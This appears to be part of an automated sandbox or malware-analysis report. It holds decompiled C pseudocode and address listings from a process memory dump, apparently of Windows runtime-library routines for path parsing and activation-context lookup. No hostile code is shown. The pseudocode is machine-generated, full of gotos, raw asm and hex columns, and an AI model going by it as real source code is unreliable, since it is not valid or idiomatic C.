                                      																	_t325 = _t316 -  *_v560 & 0x0000ffff;
                                      																	 *_t306 = _t325;
                                      																	if( *_t282 == 0x5c) {
                                      																		_t149 = _t325 - 2; // -2
                                      																		_t283 = _t149;
                                      																		 *_t306 = _t283;
                                      																		 *(_t306 + 4) = _v576 + 2;
                                      																		_t185 = _t283 & 0x0000ffff;
                                      																	}
                                      																	_t324 = _v588;
                                      																	 *(_t306 + 2) = _t185;
                                      																	if((_v548 & 0x00000002) == 0) {
                                      																		L97:
                                      																		asm("lock xadd [esi], eax");
                                      																		if((_t185 | 0xffffffff) == 0) {
                                      																			_push( *((intOrPtr*)(_t324 + 4)));
                                      																			E036A95D0();
                                      																			L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
                                      																		}
                                      																	} else {
                                      																		 *(_t306 + 0xc) = _t324;
                                      																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
                                      																	}
                                      																	goto L38;
                                      																}
                                      															}
                                      															goto L41;
                                      														}
                                      													}
                                      													L38:
                                      													_t322 = 0;
                                      												}
                                      											}
                                      										}
                                      									}
                                      									L39:
                                      									if(_t254 !=  &_v532) {
                                      										L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
                                      									}
                                      									_t169 = _t322;
                                      								}
                                      								goto L41;
                                      							}
                                      							goto L68;
                                      						}
                                      					}
                                      					L41:
                                      					_pop(_t317);
                                      					_pop(_t323);
                                      					_pop(_t255);
                                      					return E036AB640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
                                      				} else {
                                      					_t299 = __edx[2];
                                      					if( *_t299 == 0x5c) {
                                      						_t256 =  *(_t299 + 2) & 0x0000ffff;
                                      						if(_t256 != 0x5c) {
                                      							if(_t256 != 0x3f) {
                                      								goto L2;
                                      							} else {
                                      								goto L50;
                                      							}
                                      						} else {
                                      							L50:
                                      							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
                                      								goto L2;
                                      							} else {
                                      								_t251 = E036A3D43(_t315, _t321, _t157, _v560, _v572, _t305);
                                      								_pop(_t319);
                                      								_pop(_t326);
                                      								_pop(_t257);
                                      								return E036AB640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
                                      							}
                                      						}
                                      					} else {
                                      						L2:
                                      						_t260 = _v572;
                                      						goto L3;
                                      					}
                                      				}
                                      				L101:
                                      			}















































































                                      0x03684128
                                      0x03684135
                                      0x0368413c
                                      0x03684141
                                      0x03684145
                                      0x03684147
                                      0x0368414e
                                      0x03684151
                                      0x03684159
                                      0x0368415c
                                      0x03684160
                                      0x03684164
                                      0x03684168
                                      0x0368416c
                                      0x0368417f
                                      0x03684181
                                      0x0368446a
                                      0x0368446a
                                      0x0368418c
                                      0x03684195
                                      0x03684199
                                      0x03684432
                                      0x03684439
                                      0x0368443d
                                      0x03684442
                                      0x03684447
                                      0x00000000
                                      0x0368419f
                                      0x036841a3
                                      0x036841b1
                                      0x036841b9
                                      0x036841bd
                                      0x036845db
                                      0x036845db
                                      0x00000000
                                      0x036841c3
                                      0x036841c3
                                      0x036841ce
                                      0x036841d4
                                      0x036ce138
                                      0x036ce13e
                                      0x036ce169
                                      0x036ce16d
                                      0x036ce19e
                                      0x036ce16f
                                      0x036ce16f
                                      0x036ce175
                                      0x036ce179
                                      0x036ce18f
                                      0x036ce193
                                      0x00000000
                                      0x036ce199
                                      0x00000000
                                      0x036ce199
                                      0x036ce193
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036841da
                                      0x036841da
                                      0x036841df
                                      0x036841e4
                                      0x036841ec
                                      0x03684203
                                      0x03684207
                                      0x036ce1fd
                                      0x03684222
                                      0x03684226
                                      0x036ce1f3
                                      0x036ce1f3
                                      0x0368422c
                                      0x0368422c
                                      0x03684233
                                      0x036ce1ed
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03684239
                                      0x03684239
                                      0x03684239
                                      0x03684239
                                      0x03684233
                                      0x03684226
                                      0x036841ee
                                      0x036841ee
                                      0x036841f4
                                      0x03684575
                                      0x036ce1b1
                                      0x036ce1b1
                                      0x00000000
                                      0x0368457b
                                      0x0368457b
                                      0x03684582
                                      0x036ce1ab
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x03684588
                                      0x03684588
                                      0x0368458c
                                      0x036ce1c4
                                      0x036ce1c4
                                      0x00000000
                                      0x03684592
                                      0x03684592
                                      0x03684599
                                      0x036ce1be
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0368459f
                                      0x0368459f
                                      0x036845a3
                                      0x036ce1d7
                                      0x036ce1e4
                                      0x00000000
                                      0x036845a9
                                      0x036845a9
                                      0x036845b0
                                      0x036ce1d1
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036845b6
                                      0x036845b6
                                      0x036845b6
                                      0x00000000
                                      0x036845b6
                                      0x036845b0
                                      0x036845a3
                                      0x03684599
                                      0x0368458c
                                      0x03684582
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036841f4
                                      0x0368423e
                                      0x03684241
                                      0x036845c0
                                      0x036845c4
                                      0x00000000
                                      0x036845ca
                                      0x036845ca
                                      0x00000000
                                      0x036ce207
                                      0x036ce20f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036845d1
                                      0x00000000
                                      0x00000000
                                      0x036845ca
                                      0x00000000
                                      0x03684247
                                      0x03684247
                                      0x03684247
                                      0x03684249
                                      0x03684249
                                      0x03684249
                                      0x03684251
                                      0x03684251
                                      0x03684257
                                      0x0368425f
                                      0x0368426e
                                      0x03684270
                                      0x0368427a
                                      0x036ce219
                                      0x036ce219
                                      0x03684280
                                      0x03684282
                                      0x03684456
                                      0x036845ea
                                      0x00000000
                                      0x036845f0
                                      0x036ce223
                                      0x00000000
                                      0x036ce223
                                      0x0368445c
                                      0x0368445c
                                      0x00000000
                                      0x0368445c
                                      0x00000000
                                      0x03684288
                                      0x0368428c
                                      0x036ce298
                                      0x03684292
                                      0x03684292
                                      0x0368429e
                                      0x036842a3
                                      0x036842a7
                                      0x036842ac
                                      0x036ce22d
                                      0x036842b2
                                      0x036842b2
                                      0x036842b9
                                      0x036842bc
                                      0x036842c2
                                      0x036842ca
                                      0x036842cd
                                      0x036842cd
                                      0x036842d4
                                      0x0368433f
                                      0x0368433f
                                      0x036842d6
                                      0x036842d6
                                      0x036842d9
                                      0x036842dd
                                      0x036842eb
                                      0x036ce23a
                                      0x036842f1
                                      0x03684305
                                      0x0368430d
                                      0x03684315
                                      0x03684318
                                      0x0368431f
                                      0x03684322
                                      0x0368432e
                                      0x0368433b
                                      0x0368433b
                                      0x00000000
                                      0x0368432e
                                      0x036842eb
                                      0x0368434c
                                      0x0368434e
                                      0x03684352
                                      0x03684359
                                      0x0368435e
                                      0x03684361
                                      0x0368436e
                                      0x0368438a
                                      0x0368438e
                                      0x03684396
                                      0x0368439e
                                      0x036843a1
                                      0x036843ad
                                      0x036843bb
                                      0x036843bb
                                      0x036843ad
                                      0x0368436e
                                      0x036843bf
                                      0x036843c5
                                      0x03684463
                                      0x03684463
                                      0x036843ce
                                      0x036843d5
                                      0x036843d9
                                      0x036843df
                                      0x03684475
                                      0x03684479
                                      0x03684491
                                      0x03684491
                                      0x03684479
                                      0x036843e5
                                      0x036843eb
                                      0x036843f4
                                      0x036843f6
                                      0x036843f9
                                      0x036843fc
                                      0x036843ff
                                      0x036844e8
                                      0x036844ed
                                      0x036844f3
                                      0x036ce247
                                      0x00000000
                                      0x036844f9
                                      0x03684504
                                      0x03684508
                                      0x0368450f
                                      0x036ce269
                                      0x00000000
                                      0x03684515
                                      0x03684519
                                      0x03684531
                                      0x03684534
                                      0x03684537
                                      0x0368453e
                                      0x03684541
                                      0x0368454a
                                      0x036ce255
                                      0x036ce255
                                      0x036ce25b
                                      0x036ce25e
                                      0x036ce261
                                      0x036ce261
                                      0x03684555
                                      0x03684559
                                      0x0368455d
                                      0x036ce26d
                                      0x036ce270
                                      0x036ce274
                                      0x036ce27a
                                      0x036ce27d
                                      0x036ce28e
                                      0x036ce28e
                                      0x03684563
                                      0x03684563
                                      0x03684569
                                      0x03684569
                                      0x00000000
                                      0x0368455d
                                      0x0368450f
                                      0x00000000
                                      0x036844f3
                                      0x036843ff
                                      0x03684405
                                      0x03684405
                                      0x03684405
                                      0x036842ac
                                      0x0368428c
                                      0x03684282
                                      0x03684407
                                      0x0368440d
                                      0x036ce2af
                                      0x036ce2af
                                      0x03684413
                                      0x03684413
                                      0x00000000
                                      0x036841d4
                                      0x00000000
                                      0x036841c3
                                      0x036841bd
                                      0x03684415
                                      0x03684415
                                      0x03684416
                                      0x03684417
                                      0x03684429
                                      0x0368416e
                                      0x0368416e
                                      0x03684175
                                      0x03684498
                                      0x0368449f
                                      0x036ce12d
                                      0x00000000
                                      0x036ce133
                                      0x00000000
                                      0x036ce133
                                      0x036844a5
                                      0x036844a5
                                      0x036844aa
                                      0x00000000
                                      0x036844bb
                                      0x036844ca
                                      0x036844d6
                                      0x036844d7
                                      0x036844d8
                                      0x036844e3
                                      0x036844e3
                                      0x036844aa
                                      0x0368417b
                                      0x0368417b
                                      0x0368417b
                                      0x00000000
                                      0x0368417b
                                      0x03684175
                                      0x00000000

                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: e8af2ff245c408097dac831f4273d07c1f26328e83d3da84177f1764f689e25f
                                      • Instruction ID: 4fb172df00acf9f65b3e5e97adbc93b9195ceaa4ff382a40fdc263ea503dfe83
                                      • Opcode Fuzzy Hash: e8af2ff245c408097dac831f4273d07c1f26328e83d3da84177f1764f689e25f
                                      • Instruction Fuzzy Hash: 1CF17B746183528BC725DF1AC580A3AB7F1EF98704F184A6EF486CB350EB35D891CB56
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 92%
                                      			E036920A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
                                      				signed int _v16;
                                      				signed int _v20;
                                      				signed char _v24;
                                      				intOrPtr _v28;
                                      				signed int _v32;
                                      				void* _v36;
                                      				char _v48;
                                      				signed int _v52;
                                      				signed int _v56;
                                      				unsigned int _v60;
                                      				char _v64;
                                      				unsigned int _v68;
                                      				signed int _v72;
                                      				char _v73;
                                      				signed int _v74;
                                      				char _v75;
                                      				signed int _v76;
                                      				void* _v81;
                                      				void* _v82;
                                      				void* _v89;
                                      				void* _v92;
                                      				void* _v97;
                                      				void* __edi;
                                      				void* __esi;
                                      				void* __ebp;
                                      				signed char _t128;
                                      				void* _t129;
                                      				signed int _t130;
                                      				void* _t132;
                                      				signed char _t133;
                                      				intOrPtr _t135;
                                      				signed int _t137;
                                      				signed int _t140;
                                      				signed int* _t144;
                                      				signed int* _t145;
                                      				intOrPtr _t146;
                                      				signed int _t147;
                                      				signed char* _t148;
                                      				signed int _t149;
                                      				signed int _t153;
                                      				signed int _t169;
                                      				signed int _t174;
                                      				signed int _t180;
                                      				void* _t197;
                                      				void* _t198;
                                      				signed int _t201;
                                      				intOrPtr* _t202;
                                      				intOrPtr* _t205;
                                      				signed int _t210;
                                      				signed int _t215;
                                      				signed int _t218;
                                      				signed char _t221;
                                      				signed int _t226;
                                      				char _t227;
                                      				signed int _t228;
                                      				void* _t229;
                                      				unsigned int _t231;
                                      				void* _t235;
                                      				signed int _t240;
                                      				signed int _t241;
                                      				void* _t242;
                                      				signed int _t246;
                                      				signed int _t248;
                                      				signed int _t252;
                                      				signed int _t253;
                                      				void* _t254;
                                      				intOrPtr* _t256;
                                      				intOrPtr _t257;
                                      				unsigned int _t262;
                                      				signed int _t265;
                                      				void* _t267;
                                      				signed int _t275;
                                      
                                      				_t198 = __ebx;
                                      				_t267 = (_t265 & 0xfffffff0) - 0x48;
                                      				_v68 = __ecx;
                                      				_v73 = 0;
                                      				_t201 = __edx & 0x00002000;
                                      				_t128 = __edx & 0xffffdfff;
                                      				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
                                      				_v72 = _t128;
                                      				if((_t128 & 0x00000008) != 0) {
                                      					__eflags = _t128 - 8;
                                      					if(_t128 != 8) {
                                      						L69:
                                      						_t129 = 0xc000000d;
                                      						goto L23;
                                      					} else {
                                      						_t130 = 0;
                                      						_v72 = 0;
                                      						_v75 = 1;
                                      						L2:
                                      						_v74 = 1;
                                      						_t226 =  *0x3758714; // 0x0
                                      						if(_t226 != 0) {
                                      							__eflags = _t201;
                                      							if(_t201 != 0) {
                                      								L62:
                                      								_v74 = 1;
                                      								L63:
                                      								_t130 = _t226 & 0xffffdfff;
                                      								_v72 = _t130;
                                      								goto L3;
                                      							}
                                      							_v74 = _t201;
                                      							__eflags = _t226 & 0x00002000;
                                      							if((_t226 & 0x00002000) == 0) {
                                      								goto L63;
                                      							}
                                      							goto L62;
                                      						}
                                      						L3:
                                      						_t227 = _v75;
                                      						L4:
                                      						_t240 = 0;
                                      						_v56 = 0;
                                      						_t252 = _t130 & 0x00000100;
                                      						if(_t252 != 0 || _t227 != 0) {
                                      							_t240 = _v68;
                                      							_t132 = E03692EB0(_t240);
                                      							__eflags = _t132 - 2;
                                      							if(_t132 != 2) {
                                      								__eflags = _t132 - 1;
                                      								if(_t132 == 1) {
                                      									goto L25;
                                      								}
                                      								__eflags = _t132 - 6;
                                      								if(_t132 == 6) {
                                      									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
                                      									if( *((short*)(_t240 + 4)) != 0x3f) {
                                      										goto L40;
                                      									}
                                      									_t197 = E03692EB0(_t240 + 8);
                                      									__eflags = _t197 - 2;
                                      									if(_t197 == 2) {
                                      										goto L25;
                                      									}
                                      								}
                                      								L40:
                                      								_t133 = 1;
                                      								L26:
                                      								_t228 = _v75;
                                      								_v56 = _t240;
                                      								__eflags = _t133;
                                      								if(_t133 != 0) {
                                      									__eflags = _t228;
                                      									if(_t228 == 0) {
                                      										L43:
                                      										__eflags = _v72;
                                      										if(_v72 == 0) {
                                      											goto L8;
                                      										}
                                      										goto L69;
                                      									}
                                      									_t133 = E036658EC(_t240);
                                      									_t221 =  *0x3755cac; // 0x16
                                      									__eflags = _t221 & 0x00000040;
                                      									if((_t221 & 0x00000040) != 0) {
                                      										_t228 = 0;
                                      										__eflags = _t252;
                                      										if(_t252 != 0) {
                                      											goto L43;
                                      										}
                                      										_t133 = _v72;
                                      										goto L7;
                                      									}
                                      									goto L43;
                                      								} else {
                                      									_t133 = _v72;
                                      									goto L6;
                                      								}
                                      							}
                                      							L25:
                                      							_t133 = _v73;
                                      							goto L26;
                                      						} else {
                                      							L6:
                                      							_t221 =  *0x3755cac; // 0x16
                                      							L7:
                                      							if(_t133 != 0) {
                                      								__eflags = _t133 & 0x00001000;
                                      								if((_t133 & 0x00001000) != 0) {
                                      									_t133 = _t133 | 0x00000a00;
                                      									__eflags = _t221 & 0x00000004;
                                      									if((_t221 & 0x00000004) != 0) {
                                      										_t133 = _t133 | 0x00000400;
                                      									}
                                      								}
                                      								__eflags = _t228;
                                      								if(_t228 != 0) {
                                      									_t133 = _t133 | 0x00000100;
                                      								}
                                      								_t229 = E036A4A2C(0x3756e40, 0x36a4b30, _t133, _t240);
                                      								__eflags = _t229;
                                      								if(_t229 == 0) {
                                      									_t202 = _a20;
                                      									goto L100;
                                      								} else {
                                      									_t135 =  *((intOrPtr*)(_t229 + 0x38));
                                      									L15:
                                      									_t202 = _a20;
                                      									 *_t202 = _t135;
                                      									if(_t229 == 0) {
                                      										L100:
                                      										 *_a4 = 0;
                                      										_t137 = _a8;
                                      										__eflags = _t137;
                                      										if(_t137 != 0) {
                                      											 *_t137 = 0;
                                      										}
                                      										 *_t202 = 0;
                                      										_t129 = 0xc0000017;
                                      										goto L23;
                                      									} else {
                                      										_t242 = _a16;
                                      										if(_t242 != 0) {
                                      											_t254 = _t229;
                                      											memcpy(_t242, _t254, 0xd << 2);
                                      											_t267 = _t267 + 0xc;
                                      											_t242 = _t254 + 0x1a;
                                      										}
                                      										_t205 = _a4;
                                      										_t25 = _t229 + 0x48; // 0x48
                                      										 *_t205 = _t25;
                                      										_t140 = _a8;
                                      										if(_t140 != 0) {
                                      											__eflags =  *((char*)(_t267 + 0xa));
                                      											if( *((char*)(_t267 + 0xa)) != 0) {
                                      												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
                                      											} else {
                                      												 *_t140 = 0;
                                      											}
                                      										}
                                      										_t256 = _a12;
                                      										if(_t256 != 0) {
                                      											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
                                      										}
                                      										_t257 =  *_t205;
                                      										_v48 = 0;
                                      										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
                                      										_v56 = 0;
                                      										_v52 = 0;
                                      										_t144 =  *( *[fs:0x30] + 0x50);
                                      										if(_t144 != 0) {
                                      											__eflags =  *_t144;
                                      											if( *_t144 == 0) {
                                      												goto L20;
                                      											}
                                      											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
                                      											goto L21;
                                      										} else {
                                      											L20:
                                      											_t145 = 0x7ffe0384;
                                      											L21:
                                      											if( *_t145 != 0) {
                                      												_t146 =  *[fs:0x30];
                                      												__eflags =  *(_t146 + 0x240) & 0x00000004;
                                      												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
                                      													_t147 = E03687D50();
                                      													__eflags = _t147;
                                      													if(_t147 == 0) {
                                      														_t148 = 0x7ffe0385;
                                      													} else {
                                      														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
                                      													}
                                      													__eflags =  *_t148 & 0x00000020;
                                      													if(( *_t148 & 0x00000020) != 0) {
                                      														_t149 = _v72;
                                      														__eflags = _t149;
                                      														if(__eflags == 0) {
                                      															_t149 = 0x3645c80;
                                      														}
                                      														_push(_t149);
                                      														_push( &_v48);
                                      														 *((char*)(_t267 + 0xb)) = E0369F6E0(_t198, _t242, _t257, __eflags);
                                      														_push(_t257);
                                      														_push( &_v64);
                                      														_t153 = E0369F6E0(_t198, _t242, _t257, __eflags);
                                      														__eflags =  *((char*)(_t267 + 0xb));
                                      														if( *((char*)(_t267 + 0xb)) != 0) {
                                      															__eflags = _t153;
                                      															if(_t153 != 0) {
                                      																__eflags = 0;
                                      																E036E7016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
                                      																L03682400(_t267 + 0x20);
                                      															}
                                      															L03682400( &_v64);
                                      														}
                                      													}
                                      												}
                                      											}
                                      											_t129 = 0;
                                      											L23:
                                      											return _t129;
                                      										}
                                      									}
                                      								}
                                      							}
                                      							L8:
                                      							_t275 = _t240;
                                      							if(_t275 != 0) {
                                      								_v73 = 0;
                                      								_t253 = 0;
                                      								__eflags = 0;
                                      								L29:
                                      								_push(0);
                                      								_t241 = E03692397(_t240);
                                      								__eflags = _t241;
                                      								if(_t241 == 0) {
                                      									_t229 = 0;
                                      									L14:
                                      									_t135 = 0;
                                      									goto L15;
                                      								}
                                      								__eflags =  *((char*)(_t267 + 0xb));
                                      								 *(_t241 + 0x34) = 1;
                                      								if( *((char*)(_t267 + 0xb)) != 0) {
                                      									E03682280(_t134, 0x3758608);
                                      									__eflags =  *0x3756e48 - _t253; // 0x90e448
                                      									if(__eflags != 0) {
                                      										L48:
                                      										_t253 = 0;
                                      										__eflags = 0;
                                      										L49:
                                      										E0367FFB0(_t198, _t241, 0x3758608);
                                      										__eflags = _t253;
                                      										if(_t253 != 0) {
                                      											L036877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
                                      										}
                                      										goto L31;
                                      									}
                                      									 *0x3756e48 = _t241;
                                      									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
                                      									__eflags = _t253;
                                      									if(_t253 != 0) {
                                      										_t57 = _t253 + 0x34;
                                      										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
                                      										__eflags =  *_t57;
                                      										if( *_t57 == 0) {
                                      											goto L49;
                                      										}
                                      									}
                                      									goto L48;
                                      								}
                                      								L31:
                                      								_t229 = _t241;
                                      								goto L14;
                                      							}
                                      							_v73 = 1;
                                      							_v64 = _t240;
                                      							asm("lock bts dword [esi], 0x0");
                                      							if(_t275 < 0) {
                                      								_t231 =  *0x3758608; // 0x0
                                      								while(1) {
                                      									_v60 = _t231;
                                      									__eflags = _t231 & 0x00000001;
                                      									if((_t231 & 0x00000001) != 0) {
                                      										goto L76;
                                      									}
                                      									_t73 = _t231 + 1; // 0x1
                                      									_t210 = _t73;
                                      									asm("lock cmpxchg [edi], ecx");
                                      									__eflags = _t231 - _t231;
                                      									if(_t231 != _t231) {
                                      										L92:
                                      										_t133 = E03696B90(_t210,  &_v64);
                                      										_t262 =  *0x3758608; // 0x0
                                      										L93:
                                      										_t231 = _t262;
                                      										continue;
                                      									}
                                      									_t240 = _v56;
                                      									goto L10;
                                      									L76:
                                      									_t169 = E0369E180(_t133);
                                      									__eflags = _t169;
                                      									if(_t169 != 0) {
                                      										_push(0xc000004b);
                                      										_push(0xffffffff);
                                      										E036A97C0();
                                      										_t231 = _v68;
                                      									}
                                      									_v72 = 0;
                                      									_v24 =  *( *[fs:0x18] + 0x24);
                                      									_v16 = 3;
                                      									_v28 = 0;
                                      									__eflags = _t231 & 0x00000002;
                                      									if((_t231 & 0x00000002) == 0) {
                                      										_v32 =  &_v36;
                                      										_t174 = _t231 >> 4;
                                      										__eflags = 1 - _t174;
                                      										_v20 = _t174;
                                      										asm("sbb ecx, ecx");
                                      										_t210 = 3 |  &_v36;
                                      										__eflags = _t174;
                                      										if(_t174 == 0) {
                                      											_v20 = 0xfffffffe;
                                      										}
                                      									} else {
                                      										_v32 = 0;
                                      										_v20 = 0xffffffff;
                                      										_v36 = _t231 & 0xfffffff0;
                                      										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
                                      										_v72 =  !(_t231 >> 2) & 0xffffff01;
                                      									}
                                      									asm("lock cmpxchg [edi], esi");
                                      									_t262 = _t231;
                                      									__eflags = _t262 - _t231;
                                      									if(_t262 != _t231) {
                                      										goto L92;
                                      									} else {
                                      										__eflags = _v72;
                                      										if(_v72 != 0) {
                                      											E036A006A(0x3758608, _t210);
                                      										}
                                      										__eflags =  *0x7ffe036a - 1;
                                      										if(__eflags <= 0) {
                                      											L89:
                                      											_t133 =  &_v16;
                                      											asm("lock btr dword [eax], 0x1");
                                      											if(__eflags >= 0) {
                                      												goto L93;
                                      											} else {
                                      												goto L90;
                                      											}
                                      											do {
                                      												L90:
                                      												_push(0);
                                      												_push(0x3758608);
                                      												E036AB180();
                                      												_t133 = _v24;
                                      												__eflags = _t133 & 0x00000004;
                                      											} while ((_t133 & 0x00000004) == 0);
                                      											goto L93;
                                      										} else {
                                      											_t218 =  *0x3756904; // 0x400
                                      											__eflags = _t218;
                                      											if(__eflags == 0) {
                                      												goto L89;
                                      											} else {
                                      												goto L87;
                                      											}
                                      											while(1) {
                                      												L87:
                                      												__eflags = _v16 & 0x00000002;
                                      												if(__eflags == 0) {
                                      													goto L89;
                                      												}
                                      												asm("pause");
                                      												_t218 = _t218 - 1;
                                      												__eflags = _t218;
                                      												if(__eflags != 0) {
                                      													continue;
                                      												}
                                      												goto L89;
                                      											}
                                      											goto L89;
                                      										}
                                      									}
                                      								}
                                      							}
                                      							L10:
                                      							_t229 =  *0x3756e48; // 0x90e448
                                      							_v72 = _t229;
                                      							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
                                      								E0367FFB0(_t198, _t240, 0x3758608);
                                      								_t253 = _v76;
                                      								goto L29;
                                      							} else {
                                      								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
                                      								asm("lock cmpxchg [esi], ecx");
                                      								_t215 = 1;
                                      								if(1 != 1) {
                                      									while(1) {
                                      										_t246 = _t215 & 0x00000006;
                                      										_t180 = _t215;
                                      										__eflags = _t246 - 2;
                                      										_v56 = _t246;
                                      										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
                                      										asm("lock cmpxchg [edi], esi");
                                      										_t248 = _v56;
                                      										__eflags = _t180 - _t215;
                                      										if(_t180 == _t215) {
                                      											break;
                                      										}
                                      										_t215 = _t180;
                                      									}
                                      									__eflags = _t248 - 2;
                                      									if(_t248 == 2) {
                                      										__eflags = 0;
                                      										E036A00C2(0x3758608, 0, _t235);
                                      									}
                                      									_t229 = _v72;
                                      								}
                                      								goto L14;
                                      							}
                                      						}
                                      					}
                                      				}
                                      				_t227 = 0;
                                      				_v75 = 0;
                                      				if(_t128 != 0) {
                                      					goto L4;
                                      				}
                                      				goto L2;
                                      			}











































































                                      0x036920a0
                                      0x036920a8
                                      0x036920ad
                                      0x036920b3
                                      0x036920b8
                                      0x036920c2
                                      0x036920c7
                                      0x036920cb
                                      0x036920d2
                                      0x03692263
                                      0x03692266
                                      0x036d5836
                                      0x036d5836
                                      0x00000000
                                      0x0369226c
                                      0x0369226c
                                      0x03692270
                                      0x03692274
                                      0x036920e2
                                      0x036920e2
                                      0x036920e6
                                      0x036920ee
                                      0x036d57dc
                                      0x036d57de
                                      0x036d57ec
                                      0x036d57ec
                                      0x036d57f1
                                      0x036d57f3
                                      0x036d57f8
                                      0x00000000
                                      0x036d57f8
                                      0x036d57e0
                                      0x036d57e4
                                      0x036d57ea
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036d57ea
                                      0x036920f4
                                      0x036920f4
                                      0x036920f8
                                      0x036920f8
                                      0x036920fc
                                      0x03692100
                                      0x03692106
                                      0x03692201
                                      0x03692206
                                      0x0369220b
                                      0x0369220e
                                      0x036922a9
                                      0x036922ac
                                      0x00000000
                                      0x00000000
                                      0x036922b2
                                      0x036922b5
                                      0x036d5801
                                      0x036d5806
                                      0x00000000
                                      0x00000000
                                      0x036d5810
                                      0x036d5815
                                      0x036d5818
                                      0x00000000
                                      0x00000000
                                      0x036d581e
                                      0x036922bb
                                      0x036922bb
                                      0x03692218
                                      0x03692218
                                      0x0369221c
                                      0x03692220
                                      0x03692222
                                      0x036922c2
                                      0x036922c4
                                      0x036922dc
                                      0x036922dc
                                      0x036922e1
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036922e7
                                      0x036922c8
                                      0x036922cd
                                      0x036922d3
                                      0x036922d6
                                      0x036d5823
                                      0x036d5825
                                      0x036d5827
                                      0x00000000
                                      0x00000000
                                      0x036d582d
                                      0x00000000
                                      0x036d582d
                                      0x00000000
                                      0x03692228
                                      0x03692228
                                      0x00000000
                                      0x03692228
                                      0x03692222
                                      0x03692214
                                      0x03692214
                                      0x00000000
                                      0x03692114
                                      0x03692114
                                      0x03692114
                                      0x0369211a
                                      0x0369211c
                                      0x03692348
                                      0x0369234d
                                      0x036d5840
                                      0x036d5845
                                      0x036d5848
                                      0x036d584e
                                      0x036d584e
                                      0x036d5848
                                      0x03692353
                                      0x03692355
                                      0x03692388
                                      0x03692388
                                      0x03692368
                                      0x0369236a
                                      0x0369236c
                                      0x0369238f
                                      0x00000000
                                      0x0369236e
                                      0x0369236e
                                      0x0369218e
                                      0x0369218e
                                      0x03692191
                                      0x03692195
                                      0x036d5a03
                                      0x036d5a06
                                      0x036d5a0c
                                      0x036d5a0f
                                      0x036d5a11
                                      0x036d5a13
                                      0x036d5a13
                                      0x036d5a19
                                      0x036d5a1f
                                      0x00000000
                                      0x0369219b
                                      0x0369219b
                                      0x036921a0
                                      0x03692282
                                      0x03692284
                                      0x03692284
                                      0x03692284
                                      0x03692284
                                      0x036921a6
                                      0x036921a9
                                      0x036921ac
                                      0x036921ae
                                      0x036921b3
                                      0x0369228b
                                      0x03692290
                                      0x03692379
                                      0x03692296
                                      0x03692298
                                      0x03692298
                                      0x03692290
                                      0x036921b9
                                      0x036921be
                                      0x036922a2
                                      0x036922a2
                                      0x036921c4
                                      0x036921c8
                                      0x036921cc
                                      0x036921d0
                                      0x036921d4
                                      0x036921de
                                      0x036921e3
                                      0x036d5a29
                                      0x036d5a2c
                                      0x00000000
                                      0x00000000
                                      0x036d5a3b
                                      0x00000000
                                      0x036921e9
                                      0x036921e9
                                      0x036921e9
                                      0x036921ee
                                      0x036921f1
                                      0x036d5a45
                                      0x036d5a4b
                                      0x036d5a52
                                      0x036d5a58
                                      0x036d5a5d
                                      0x036d5a5f
                                      0x036d5a71
                                      0x036d5a61
                                      0x036d5a6a
                                      0x036d5a6a
                                      0x036d5a76
                                      0x036d5a79
                                      0x036d5a7f
                                      0x036d5a83
                                      0x036d5a85
                                      0x036d5a87
                                      0x036d5a87
                                      0x036d5a8c
                                      0x036d5a91
                                      0x036d5a97
                                      0x036d5a9f
                                      0x036d5aa0
                                      0x036d5aa1
                                      0x036d5aa6
                                      0x036d5aab
                                      0x036d5ab1
                                      0x036d5ab3
                                      0x036d5ab9
                                      0x036d5aca
                                      0x036d5ad4
                                      0x036d5ad4
                                      0x036d5ade
                                      0x036d5ade
                                      0x036d5aab
                                      0x036d5a79
                                      0x036d5a52
                                      0x036921f7
                                      0x036921f9
                                      0x036921fe
